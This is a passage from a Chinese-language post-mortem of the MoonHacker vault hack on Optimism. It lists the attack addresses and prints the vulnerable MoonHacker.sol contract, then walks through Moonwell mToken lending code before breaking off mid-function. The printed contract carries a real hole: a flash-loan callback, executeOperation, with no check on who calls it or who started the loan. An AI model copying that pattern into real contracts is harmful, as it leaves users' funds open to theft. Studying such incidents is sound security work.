initialize

@KeyInfo - Total Lost :  318.9 k Attacker : https://optimistic.etherscan.io/address/0x36491840ebcf040413003df9fb65b6bc9a181f52
Attack Contract1 : https://optimistic.etherscan.io/address/0x4e258f1705822c2565d54ec8795d303fdf9f768e
Attack Contract2 : https://optimistic.etherscan.io/address/0x3a6eaaf2b1b02ceb2da4a768cfeda86cff89b287
Vulnerable Contract : https://optimistic.etherscan.io/address/0xd9b45e2c389b6ad55dd3631abc1de6f2d2229847
Attack Tx : https://optimistic.etherscan.io/tx/0xd12016b25d7aef681ade3dc3c9d1a1cc12f35b2c99953ff0e0ee23a59454c4fe
Vulnerable Contract Code : https://optimistic.etherscan.io/address/0xd9b45e2c389b6ad55dd3631abc1de6f2d2229847#code (MoonHacker.sol)
Mtoken code : https://optimistic.etherscan.io/address/0xA9CE0A4DE55791c5792B50531b18Befc30B09dcC#code (MToken.sol)
Mtoken docs : https://docs.moonwell.fi/moonwell/developers/mtokens/contract-interactions
On-chain transaction analysis: https://app.blocksec.com/explorer/tx/optimism/0xd12016b25d7aef681ade3dc3c9d1a1cc12f35b2c99953ff0e0ee23a59454c4fe
Post-mortem : https://blog.solidityscan.com/moonhacker-vault-hack-analysis-ab122cb226f6
Twitter Guy : https://x.com/quillaudits_ai/status/1871607695700296041
Hacking God : https://x.com/CertiKAlert/status/1871347300918030409

Moonhacker 合约

合约内容不算复杂,主要就是用于与 Aave V3 协议进行交互,执行借贷、存款、赎回等操作。

// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.8.10;
 
import {IPoolAddressesProvider} from "lib/aave-v3-core/contracts/interfaces/IPoolAddressesProvider.sol";
import {IERC20} from "lib/aave-v3-core/contracts/dependencies/openzeppelin/contracts/IERC20.sol";
import {IPool} from 'lib/aave-v3-core/contracts/interfaces/IPool.sol';
 
interface IMToken {
    function mint(uint mintAmount) external returns (uint);
    function borrow(uint borrowAmount) external returns (uint);
    function redeem(uint redeemTokens) external returns (uint);
    function redeemUnderlying(uint redeemAmount) external returns (uint);
    function repayBorrow(uint repayAmount) external returns (uint);
    function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint);
    function borrowBalanceCurrent(address account) external returns (uint);
 
}
 
interface IWETH {
    function deposit() external payable;
}
 
interface IERC20Detailed {
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function decimals() external view returns (uint8);
}
 
interface IComptroller {
    function claimReward() external;
    function claimReward(address holder) external;
    function claimReward(address holder, address[] memory mTokens) external;
}
 
contract MoonHacker {
    
    event onBatchCallError( bytes data );
    
    struct Call {
        address to;
        uint256 value;
        bytes data;
    }
 
    address owner;
    IPool POOL;
    IComptroller COMPTROLLER;
 
    enum SmartOperation{ SUPPLY, REDEEM }
 
	modifier onlyOwner {	
		require(msg.sender == owner || (address(this) == msg.sender && tx.origin == owner), "not auth");
		_;
	}
 
    constructor(address aavePoolAddressProvider, address comptroller) {
        owner = msg.sender;
        POOL = IPool(IPoolAddressesProvider(aavePoolAddressProvider).getPool());
        COMPTROLLER = IComptroller(comptroller);
    }
 
    function smartSupply(address token, address mToken, uint256 amountToBorrow, uint256 amountToSupply) public onlyOwner() {
 
        address receiverAddress = address(this);
        bytes memory params = abi.encode(SmartOperation.SUPPLY, mToken, amountToSupply);
        uint16 referralCode = 0;
 
        POOL.flashLoanSimple(
            receiverAddress,
            token,
            amountToBorrow,
            params,
            referralCode
        );
    }
 
    function smartRedeem(address token, address mToken) public onlyOwner() {
 
        //this is needed to accrue interest up to current index and update borrow balance
        IMToken(mToken).borrowBalanceCurrent(address(this));
 
        (uint err, uint amountToReedem, uint amountToRepay, uint exRateMantissa) = IMToken(mToken).getAccountSnapshot(address(this));
 
 
        smartRedeemAmount(token, mToken, amountToReedem, amountToRepay);
    }
 
 
    function smartRedeemAmount(address token, address mToken, uint amountToReedem, uint amountToRepay) public onlyOwner() {
 
        address receiverAddress = address(this);
        bytes memory params = abi.encode(SmartOperation.REDEEM, mToken, amountToReedem);
        uint16 referralCode = 0;
 
 
        POOL.flashLoanSimple(
            receiverAddress,
            token,
            amountToRepay,
            params,
            referralCode
        );
    }
 
    
    function  executeOperation(
        address token,
        uint256 amountBorrowed,
        uint256 premium,
        address initiator,
        bytes calldata params
    )  external returns (bool) {
        
        (SmartOperation operation, address mToken, uint256 amountToSupplyOrReedem) = abi.decode(params, (SmartOperation, address, uint256));
        uint256 totalAmountToRepay = amountBorrowed + premium;
 
        if (operation == SmartOperation.SUPPLY) {
            //get amount to supply from user
            //IERC20(token).transferFrom(owner, address(this), amountToSupplyOrReedem); ==> removed, we do transfer instead of approve from outside
 
            //approve total amount to supply 
            uint256 totalSupplyAmount = amountBorrowed + amountToSupplyOrReedem;
            IERC20(token).approve(mToken, totalSupplyAmount);
 
            //supply total amount
            require(IMToken(mToken).mint(totalSupplyAmount) == 0, "mint failed");
 
            //borrow amount borrowed from aave plus aave fee
            require(IMToken(mToken).borrow(totalAmountToRepay) == 0, "borrow failed");
 
            //pay back to aave
            IERC20(token).approve(address(POOL), totalAmountToRepay);
 
        } else if (operation == SmartOperation.REDEEM) {
            
            //repay
            IERC20(token).approve(mToken, amountBorrowed);
            require(IMToken(mToken).repayBorrow(amountBorrowed) == 0, "repay borrow failed");
 
            require(IMToken(mToken).redeem(amountToSupplyOrReedem) == 0, "redeem failed");
 
            //claim rewards
            COMPTROLLER.claimReward(address(this));
 
        } else {
 
            revert("invalid op");
        }
 
        if (strcmp(IERC20Detailed(token).symbol(), "WETH")) {
            //WE received ETH, we need to call 'deposit' now to wrap it into WETH
            IWETH(token).deposit{value: totalAmountToRepay}();
        }
 
        //pay back to aave
        IERC20(token).approve(address(POOL), totalAmountToRepay);
 
        return true;
    }
 
 
    function strcmp(string memory a, string memory b) internal pure returns(bool){
        return keccak256(bytes(a)) == keccak256(bytes(b));
    }    
 
    function mint(address mToken, uint mintAmount) external onlyOwner returns (uint) {
        return IMToken(mToken).mint(mintAmount);
    }
 
    function borrow(address mToken, uint borrowAmount) external onlyOwner returns (uint) {
        return IMToken(mToken).borrow(borrowAmount);
    }
 
    function redeem(address mToken, uint redeemTokens) external onlyOwner returns (uint) {
       return IMToken(mToken).redeem(redeemTokens);
    }
 
    function redeemUnderlying(address mToken, uint redeemAmount) external onlyOwner returns (uint) {
       return IMToken(mToken).redeemUnderlying(redeemAmount);
    }
 
    function repayBorrow(address token, address mToken, uint repayAmount) external onlyOwner returns (uint) {
        IERC20(token).transferFrom(owner, address(this), repayAmount);
        IERC20(token).approve(mToken, repayAmount);
        return IMToken(mToken).repayBorrow(repayAmount);
    }
 
    function repayBorrowAndReedem(address token, address mToken, uint repayAmount, uint tokensToRedeem) external onlyOwner {
        IERC20(token).transferFrom(owner, address(this), repayAmount);
        IERC20(token).approve(mToken, repayAmount);
        require(IMToken(mToken).repayBorrow(repayAmount) == 0, "repay failed");
        require(IMToken(mToken).redeem(tokensToRedeem) == 0, "redeem failed");
    }
    
    function claimReward() external onlyOwner {
        return COMPTROLLER.claimReward();
    }
 
    function claimReward(address holder) external onlyOwner {
        return COMPTROLLER.claimReward(holder);
    }
 
    function claimReward(address holder, address[] memory mTokens) external onlyOwner {
        return COMPTROLLER.claimReward(holder, mTokens);
    }
 
    function withdrawToken(address _tokenContract, uint256 _amount) external onlyOwner {
        IERC20 tokenContract = IERC20(_tokenContract);
        
        // transfer the token from address of this contract
        // to address of the user (executing the withdrawToken() function)
        tokenContract.transfer(owner, _amount);
    }
 
    function withdraw() external onlyOwner {
        uint256 amount = address(this).balance;
        require(amount > 0, "Nothing to withdraw; contract balance empty");
        
        (bool sent, ) = owner.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
 
    function batch(Call[] memory calls) external onlyOwner {
        for (uint i = 0; i < calls.length; i++) {
			bytes memory data = calls[i].data;
			uint256 value = calls[i].value;
			address to = calls[i].to;//address(this);
			uint gasLeft = gasleft();
			bool success;
			
            assembly {
				//let ptr := mload(0x40)
                success := call(
                    gasLeft,
                    to,
                	value,
                    add(data, 0x20),
                    mload(data),
                    0,//ptr, //output pointer ( pass 'ptr' defined above )
                    0//0x20 //output size
                )
            }
			if (!success) {
				//fire event...
				emit onBatchCallError(data);
			}
        }
    }    
 
    receive() external payable {}
}

核心逻辑其实就几个函数。

  • smartSupply函数
    • 触发Aave闪电贷,借入amountToBorrow数量的代币。
    • 在回调executeOperation中,将借入资金与用户提供的amountToSupply合并存入mToken,再借出足够金额偿还闪电贷。
  • smartRedeem函数
    • 更新借款余额后,调用smartRedeemAmount触发闪电贷,借入资金用于还款,随后赎回mToken并领取奖励。 executeOperation 函数
  • SUPPLY操作
    1. 批准并存入总金额(借入资金 + 用户资金)到mToken。
    2. 从mToken借出资金偿还闪电贷(本金 + 费用)。
  • REDEEM操作
    1. 使用闪电贷资金偿还mToken的借款。
    2. 赎回指定数量的mToken,并调用COMPTROLLER.claimReward领取奖励。
  • WETH处理:若操作涉及WETH,将合约收到的ETH转换为WETH以确保还款。

这里关注一下 Mtoken(moonwell 中的 ctoken) 的 mint、borrow、repayBorrow、redeem 函数。

MintInternal

Mint 主要逻辑在 mintInternal,并且会先调用 accrueInterest 函数,借贷协议中只要涉及到总借款(totalBorrows)、储备金(totalReserves)和借款指数(borrowIndex)等状态变量时,都会先调用 accrueInterest 函数来及时更新借贷市场中的借款利率,并计算借入和储备中累积的利息以及新指数,最后把相关状态变量都更新赋值。

/**
    * @notice Sender supplies assets into the market and receives mTokens in exchange
    * @dev Accrues interest whether or not the operation succeeds, unless reverted
    * @param mintAmount The amount of the underlying asset to supply
    * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
    */
   function mintInternal(
       uint mintAmount
   ) internal nonReentrant returns (uint, uint) {
       uint error = accrueInterest();
       if (error != uint(Error.NO_ERROR)) {
           // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
           return (
               fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED),
               0
           );
       }
 
       // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to
       return mintFresh(msg.sender, mintAmount);
   }

AccrueInterest 函数,核心计算公式:

/*
 * Calculate the interest accumulated into borrows and reserves and the new index:
 *  simpleInterestFactor = borrowRate * blockDelta
 *  interestAccumulated = simpleInterestFactor * totalBorrows
 *  totalBorrowsNew = interestAccumulated + totalBorrows
 *  totalReservesNew = interestAccumulated * reserveFactor + totalReserves
 *  borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex
 */

计算的结果:

  • 新总借款(totalBorrowsNew) : 将利息资本化到本金中,形成复利计算模型,更新后的总借款包含原始本金和新增利息。
  • 累及利息(interestAccumulated) : 基于总借款本金和时间计算应计利息总量,体现资金的时间成本。
  • 新的总储备金(totalReservesNew): 协议通过截留部分利息作为准备金,用于应对坏账风险或运营成本,剩余利息分配给存款人。
  • 新借款指数(borrowIndexNew):跟踪每单位借款的利息增长,用于计算单个用户的实际应还利息(用户利息 = 借款金额 * (新指数 - 旧指数) / 旧指数)。

其中一些变量:

  • borrowRate借款年化利率(如5%年化利率表示为0.05),需转换为每区块利率
  • blockDelta经过的区块数量,代表时间间隔(例如从上次更新到当前区块的间隔)。
  • totalBorrows当前未偿还的总借款本金(如协议中所有用户借款总额)。
  • reserveFactor准备金率(如10%表示为0.1),协议从利息中提取的比例。
  • totalReserves现有准备金总额
  • borrowIndex累积借款指数,初始值为1,随时间复利增长。
/**
   * @notice Applies accrued interest to total borrows and reserves
   * @dev This calculates interest accrued from the last checkpointed block
   *   up to the current block and writes new checkpoint to storage.
   */
  function accrueInterest() public virtual override returns (uint) {
      /* Remember the initial block timestamp */
      uint currentBlockTimestamp = getBlockTimestamp();
      uint accrualBlockTimestampPrior = accrualBlockTimestamp;
 
      /* Short-circuit accumulating 0 interest */
      if (accrualBlockTimestampPrior == currentBlockTimestamp) {
          return uint(Error.NO_ERROR);
      }
 
      /* Read the previous values out of storage */
      uint cashPrior = getCashPrior();
      uint borrowsPrior = totalBorrows;
      uint reservesPrior = totalReserves;
      uint borrowIndexPrior = borrowIndex;
 
      /* Calculate the current borrow interest rate */
      uint borrowRateMantissa = interestRateModel.getBorrowRate(
          cashPrior,
          borrowsPrior,
          reservesPrior
      );
      require(
          borrowRateMantissa <= borrowRateMaxMantissa,
          "borrow rate is absurdly high"
      );
 
      /* Calculate the number of blocks elapsed since the last accrual */
      (MathError mathErr, uint blockDelta) = subUInt(
          currentBlockTimestamp,
          accrualBlockTimestampPrior
      );
      require(
          mathErr == MathError.NO_ERROR,
          "could not calculate block delta"
      );
 
      /*
       * Calculate the interest accumulated into borrows and reserves and the new index:
       *  simpleInterestFactor = borrowRate * blockDelta
       *  interestAccumulated = simpleInterestFactor * totalBorrows
       *  totalBorrowsNew = interestAccumulated + totalBorrows
       *  totalReservesNew = interestAccumulated * reserveFactor + totalReserves
       *  borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex
       */
 
      Exp memory simpleInterestFactor;
      uint interestAccumulated;
      uint totalBorrowsNew;
      uint totalReservesNew;
      uint borrowIndexNew;
 
      (mathErr, simpleInterestFactor) = mulScalar(
          Exp({mantissa: borrowRateMantissa}),
          blockDelta
      );
      if (mathErr != MathError.NO_ERROR) {
          return
              failOpaque(
                  Error.MATH_ERROR,
                  FailureInfo
                      .ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED,
                  uint(mathErr)
              );
      }
 
      (mathErr, interestAccumulated) = mulScalarTruncate(
          simpleInterestFactor,
          borrowsPrior
      );
      if (mathErr != MathError.NO_ERROR) {
          return
              failOpaque(
                  Error.MATH_ERROR,
                  FailureInfo
                      .ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED,
                  uint(mathErr)
              );
      }
 
      (mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior);
      if (mathErr != MathError.NO_ERROR) {
          return
              failOpaque(
                  Error.MATH_ERROR,
                  FailureInfo
                      .ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED,
                  uint(mathErr)
              );
      }
 
      (mathErr, totalReservesNew) = mulScalarTruncateAddUInt(
          Exp({mantissa: reserveFactorMantissa}),
          interestAccumulated,
          reservesPrior
      );
      if (mathErr != MathError.NO_ERROR) {
          return
              failOpaque(
                  Error.MATH_ERROR,
                  FailureInfo
                      .ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED,
                  uint(mathErr)
              );
      }
 
      (mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(
          simpleInterestFactor,
          borrowIndexPrior,
          borrowIndexPrior
      );
      if (mathErr != MathError.NO_ERROR) {
          return
              failOpaque(
                  Error.MATH_ERROR,
                  FailureInfo
                      .ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED,
                  uint(mathErr)
              );
      }
 
      /////////////////////////
      // EFFECTS & INTERACTIONS
      // (No safe failures beyond this point)
 
      /* We write the previously calculated values into storage */
      accrualBlockTimestamp = currentBlockTimestamp;
      borrowIndex = borrowIndexNew;
      totalBorrows = totalBorrowsNew;
      totalReserves = totalReservesNew;
 
      /* We emit an AccrueInterest event */
      emit AccrueInterest(
          cashPrior,
          interestAccumulated,
          borrowIndexNew,
          totalBorrowsNew
      );
 
      return uint(Error.NO_ERROR);
  }

MintFresh 函数

/**
    * @notice User supplies assets into the market and receives mTokens in exchange
    * @dev Assumes interest has already been accrued up to the current block
    * @param minter The address of the account which is supplying the assets
    * @param mintAmount The amount of the underlying asset to supply
    * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
    */
   function mintFresh(
       address minter,
       uint mintAmount
   ) internal returns (uint, uint) {
      
       /* Fail if mint not allowed */
       uint allowed = comptroller.mintAllowed(
           address(this),
           minter,
           mintAmount
       );
       //  emit Mint(minter, mintAmount, allowed);
       if (allowed != 0) {
           return (
               failOpaque(
                   Error.COMPTROLLER_REJECTION,
                   FailureInfo.MINT_COMPTROLLER_REJECTION,
                   allowed
               ),
               0
           );
       }
 
       /* Verify market's block timestamp equals current block timestamp */
       if (accrualBlockTimestamp != getBlockTimestamp()) {
           return (
               fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK),
               0
           );
       }
 
       MintLocalVars memory vars;
 
       (
           vars.mathErr,
           vars.exchangeRateMantissa
       ) = exchangeRateStoredInternal();
       if (vars.mathErr != MathError.NO_ERROR) {
           return (
               failOpaque(
                   Error.MATH_ERROR,
                   FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED,
                   uint(vars.mathErr)
               ),
               0
           );
       }
 
       /////////////////////////
       // EFFECTS & INTERACTIONS
       // (No safe failures beyond this point)
 
       /*
        *  We call `doTransferIn` for the minter and the mintAmount.
        *  Note: The mToken must handle variations between ERC-20 and GLMR underlying.
        *  `doTransferIn` reverts if anything goes wrong, since we can't be sure if
        *  side-effects occurred. The function returns the amount actually transferred,
        *  in case of a fee. On success, the mToken holds an additional `actualMintAmount`
        *  of cash.
        */
       vars.actualMintAmount = doTransferIn(minter, mintAmount);
 
       /*
        * We get the current exchange rate and calculate the number of mTokens to be minted:
        *  mintTokens = actualMintAmount / exchangeRate
        */
 
       (vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(
           vars.actualMintAmount,
           Exp({mantissa: vars.exchangeRateMantissa})
       );
       require(
           vars.mathErr == MathError.NO_ERROR,
           "MINT_EXCHANGE_CALCULATION_FAILED"
       );
 
       /*
        * We calculate the new total supply of mTokens and minter token balance, checking for overflow:
        *  totalSupplyNew = totalSupply + mintTokens
        *  accountTokensNew = accountTokens[minter] + mintTokens
        */
       (vars.mathErr, vars.totalSupplyNew) = addUInt(
           totalSupply,
           vars.mintTokens
       );
       require(
           vars.mathErr == MathError.NO_ERROR,
           "MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED"
       );
 
       (vars.mathErr, vars.accountTokensNew) = addUInt(
           accountTokens[minter],
           vars.mintTokens
       );
       require(
           vars.mathErr == MathError.NO_ERROR,
           "MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED"
       );
 
       /* We write previously calculated values into storage */
       totalSupply = vars.totalSupplyNew;
       accountTokens[minter] = vars.accountTokensNew;
 
       /* We emit a Mint event, and a Transfer event */
       emit Mint(minter, vars.actualMintAmount, vars.mintTokens);
       emit Transfer(address(this), minter, vars.mintTokens);
 
       /* We call the defense hook */
       // unused function
       // comptroller.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens);
 
       return (uint(Error.NO_ERROR), vars.actualMintAmount);
   }
 

首先 mintAllowed 函数会检查调用者是否被允许在市场中 mint tokens。

  • 检查给定账户是否可以在指定的市场铸造代币。
  • 它确保市场已经列出,并且铸造操作没有被暂停。
  • 它还检查是否超过了市场的供应上限(如果有的话)。
/**
    * @notice Checks if the account should be allowed to mint tokens in the given market
    * @param mToken The market to verify the mint against
    * @param minter The account which would get the minted tokens
    * @param mintAmount The amount of underlying being supplied to the market in exchange for tokens
    * @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
    */
   function mintAllowed(
       address mToken,
       address minter,
       uint mintAmount
   ) external override returns (uint) {
       // emit MarketListed(MToken(mToken));
       // Pausing is a very serious situation - we revert to sound the alarms
       require(!mintGuardianPaused[mToken], "mint is paused");
 
       // Shh - currently unused
       mintAmount;
 
       if (!markets[mToken].isListed) {
           return uint(Error.MARKET_NOT_LISTED);
       }
 
       uint supplyCap = supplyCaps[mToken];
       // Supply cap of 0 corresponds to unlimited supplying
       if (supplyCap != 0) {
           uint totalCash = MToken(mToken).getCash();
           uint totalBorrows = MToken(mToken).totalBorrows();
           uint totalReserves = MToken(mToken).totalReserves();
           // totalSupplies = totalCash + totalBorrows - totalReserves
           uint totalSupplies = sub_(
               add_(totalCash, totalBorrows),
               totalReserves
           );
 
           uint nextTotalSupplies = add_(totalSupplies, mintAmount);
           require(nextTotalSupplies < supplyCap, "market supply cap reached");
       }
      emit MarketListed(MToken(mToken));
       // Keep the flywheel moving
       updateAndDistributeSupplierRewardsForToken(mToken, minter);
 
       return uint(Error.NO_ERROR);
   }

接着 mintFresh 会做一下几个步骤,这几个步骤基本上在别的合约中也是固定。

  • 会调用exchangeRateStoredInternal 计算当前汇率
  • 调用doTransferIn 从 mingter 账户获取mintAmount数量的 underlying asset(例如 USDC 等)
  • 计算mintTokens--- mintTokens = actualMintAmount / exchangeRate
  • 铸造一定的 ctoken ------ > accountTokens[minter] = vars. AccountTokensNew;
  • 更新totalSupply ------ > totalSupply = vars.totalSupplyNew;

borrowInternal

同样会先调用 accrueInterest

/**
    * @notice Sender borrows assets from the protocol to their own address
    * @param borrowAmount The amount of the underlying asset to borrow
    * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
    */
   function borrowInternal(
       uint borrowAmount
   ) internal nonReentrant returns (uint) {
       uint error = accrueInterest();
       if (error != uint(Error.NO_ERROR)) {
           // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
           return
               fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED);
       }
       // borrowFresh emits borrow-specific logs on errors, so we don't need to
       return borrowFresh(payable(msg.sender), borrowAmount);
   }
/**
    * @notice Users borrow assets from the protocol to their own address
    * @param borrowAmount The amount of the underlying asset to borrow
    * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
    */
   function borrowFresh(
       address payable borrower,
       uint borrowAmount
   ) internal returns (uint) {
       /* Fail if borrow not allowed */
       uint allowed = comptroller.borrowAllowed(
           address(this),
           borrower,
           borrowAmount
       );
       if (allowed != 0) {
           return
               failOpaque(
                   Error.COMPTROLLER_REJECTION,
                   FailureInfo.BORROW_COMPTROLLER_REJECTION,
                   allowed
               );
       }
 
       /* Verify market's block timestamp equals current block timestamp */
       if (accrualBlockTimestamp != getBlockTimestamp()) {
           return
               fail(
                   Error.MARKET_NOT_FRESH,
                   FailureInfo.BORROW_FRESHNESS_CHECK
               );
       }
 
       /* Fail gracefully if protocol has insufficient underlying cash */
       if (getCashPrior() < borrowAmount) {
           return
               fail(
                   Error.TOKEN_INSUFFICIENT_CASH,
                   FailureInfo.BORROW_CASH_NOT_AVAILABLE
               );
       }
 
       BorrowLocalVars memory vars;
 
       /*
        * We calculate the new borrower and total borrow balances, failing on overflow:
        *  accountBorrowsNew = accountBorrows + borrowAmount
        *  totalBorrowsNew = totalBorrows + borrowAmount
        */
       (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(
           borrower
       );
       if (vars.mathErr != MathError.NO_ERROR) {
           return
               failOpaque(
                   Error.MATH_ERROR,
                   FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
                   uint(vars.mathErr)
               );
       }
 
       (vars.mathErr, vars.accountBorrowsNew) = addUInt(
           vars.accountBorrows,
           borrowAmount
       );
       if (vars.mathErr != MathError.NO_ERROR) {
           return
               failOpaque(
                   Error.MATH_ERROR,
                   FailureInfo
                       .BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,
                   uint(vars.mathErr)
               );
       }
 
       (vars.mathErr, vars.totalBorrowsNew) = addUInt(
           totalBorrows,
           borrowAmount
       );
       if (vars.mathErr != MathError.NO_ERROR) {
           return
               failOpaque(
                   Error.MATH_ERROR,
                   FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
                   uint(vars.mathErr)
               );
       }
 
       /////////////////////////
       // EFFECTS & INTERACTIONS
       // (No safe failures beyond this point)
 
       /* We write the previously calculated values into storage */
       accountBorrows[borrower].principal = vars.accountBorrowsNew;
       accountBorrows[borrower].interestIndex = borrowIndex;
       totalBorrows = vars.totalBorrowsNew;
 
       /* We emit a Borrow event */
       emit Borrow(
           borrower,
           borrowAmount,
           vars.accountBorrowsNew,
           vars.totalBorrowsNew
       );
 
       /*
        * We invoke doTransferOut for the borrower and the borrowAmount.
        *  Note: The mToken must handle variations between ERC-20 and GLMR underlying.
        *  On success, the mToken borrowAmount less of cash.
        *  doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
        */
       doTransferOut(borrower, borrowAmount);
 
       /* We call the defense hook */
       // unused function
       // comptroller.borrowVerify(address(this), borrower, borrowAmount);
 
       return uint(Error.NO_ERROR);
   }

BorrowAllowed 函数

  • 检查借款是否暂停
  • 检查市场是否已列出 mToken
  • 检查借款账户是否为市场成员(需要 msg.sedner 调用 enterMarkets)
  • 使用预言机(oracle)检查市场的底层资产价格是否有效
  • 检查借款上限,如果借款上限不为 0,则需要计算当前市场的总借款 totalBorrows,并检查加上当前借款请求后的总借款是否超过了上限。如果超过了借款上限,
  • 检查账户的流动性是否足够(抵押资产是否足够)
  • 更新并分发借款人奖励
 
/**
   * @notice Checks if the account should be allowed to borrow the underlying asset of the given market
   * @param mToken The market to verify the borrow against
   * @param borrower The account which would borrow the asset
   * @param borrowAmount The amount of underlying the account would borrow
   * @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
   */
  function borrowAllowed(
      address mToken,
      address borrower,
      uint borrowAmount
  ) external override returns (uint) {
      // Pausing is a very serious situation - we revert to sound the alarms
      require(!borrowGuardianPaused[mToken], "borrow is paused");
 
      if (!markets[mToken].isListed) {
          return uint(Error.MARKET_NOT_LISTED);
      }
 
      if (!markets[mToken].accountMembership[borrower]) {
          // only mTokens may call borrowAllowed if borrower not in market
          require(msg.sender == mToken, "sender must be mToken");
 
          // attempt to add borrower to the market
          Error addToMarketErr = addToMarketInternal(
              MToken(msg.sender),
              borrower
          );
          if (addToMarketErr != Error.NO_ERROR) {
              return uint(addToMarketErr);
          }
 
          // it should be impossible to break the important invariant
          assert(markets[mToken].accountMembership[borrower]);
      }
 
      if (oracle.getUnderlyingPrice(MToken(mToken)) == 0) {
          return uint(Error.PRICE_ERROR);
      }
 
      uint borrowCap = borrowCaps[mToken];
      // Borrow cap of 0 corresponds to unlimited borrowing
      if (borrowCap != 0) {
          uint totalBorrows = MToken(mToken).totalBorrows();
          uint nextTotalBorrows = add_(totalBorrows, borrowAmount);
          require(nextTotalBorrows < borrowCap, "market borrow cap reached");
      }
      
 
      (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(
          borrower,
          MToken(mToken),
          0,
          borrowAmount
      );
              emit NewBorrowCap(MToken(mToken), shortfall);
      if (err != Error.NO_ERROR) {
          return uint(err);
      }
      if (shortfall > 0) {
          return uint(Error.INSUFFICIENT_LIQUIDITY);
      }
 
      // Keep the flywheel moving
      updateAndDistributeBorrowerRewardsForToken(mToken, borrower);
 
      return uint(Error.NO_ERROR);
  }

然后调用borrowBalanceStoredInternal 计算新的借款余额 recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex

/**
 * @notice Return the borrow balance of account based on stored data
 * @param account The address whose balance should be calculated
 * @return (error code, the calculated balance or 0 if error code is non-zero)
 */
function borrowBalanceStoredInternal(
    address account
) internal view returns (MathError, uint) {
    /* Note: we do not assert that the market is up to date */
    MathError mathErr;
    uint principalTimesIndex;
    uint result;
 
    /* Get borrowBalance and borrowIndex */
    BorrowSnapshot storage borrowSnapshot = accountBorrows[account];
 
    /* If borrowBalance = 0 then borrowIndex is likely also 0.
     * Rather than failing the calculation with a division by 0, we immediately return 0 in this case.
     */
    if (borrowSnapshot.principal == 0) {
        return (MathError.NO_ERROR, 0);
    }
 
    /* Calculate new borrow balance using the interest index:
     *  recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex
     */
    (mathErr, principalTimesIndex) = mulUInt(
        borrowSnapshot.principal,
        borrowIndex
    );
    if (mathErr != MathError.NO_ERROR) {
        return (mathErr, 0);
    }
 
    (mathErr, result) = divUInt(
        principalTimesIndex,
        borrowSnapshot.interestIndex
    );
    if (mathErr != MathError.NO_ERROR) {
        return (mathErr, 0);
    }
 
    return (MathError.NO_ERROR, result);
}

然后计算新的借款余额和总借款

  • accountBorrowsNew = accountBorrows + borrowAmount
  • totalBorrowsNew = totalBorrows + borrowAmount 最后更新借款者的状态
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;

RepayBorrow

直接看repayBorrowFresh ,这个就是还款,跟 borrow 反着来,理解了 borrow 这个也一样的。

/**
     * @notice Borrows are repaid by another user (possibly the borrower).
     * @param payer the account paying off the borrow
     * @param borrower the account with the debt being payed off
     * @param repayAmount the amount of underlying tokens being returned
     * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
     */
    function repayBorrowFresh(
        address payer,
        address borrower,
        uint repayAmount
    ) internal returns (uint, uint) {
        /* Fail if repayBorrow not allowed */
        uint allowed = comptroller.repayBorrowAllowed(
            address(this),
            payer,
            borrower,
            repayAmount
        );
        if (allowed != 0) {
            return (
                failOpaque(
                    Error.COMPTROLLER_REJECTION,
                    FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION,
                    allowed
                ),
                0
            );
        }
 
        /* Verify market's block timestamp equals current block timestamp */
        if (accrualBlockTimestamp != getBlockTimestamp()) {
            return (
                fail(
                    Error.MARKET_NOT_FRESH,
                    FailureInfo.REPAY_BORROW_FRESHNESS_CHECK
                ),
                0
            );
        }
 
        RepayBorrowLocalVars memory vars;
 
        /* We remember the original borrowerIndex for verification purposes */
        vars.borrowerIndex = accountBorrows[borrower].interestIndex;
 
        /* We fetch the amount the borrower owes, with accumulated interest */
        (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(
            borrower
        );
        if (vars.mathErr != MathError.NO_ERROR) {
            return (
                failOpaque(
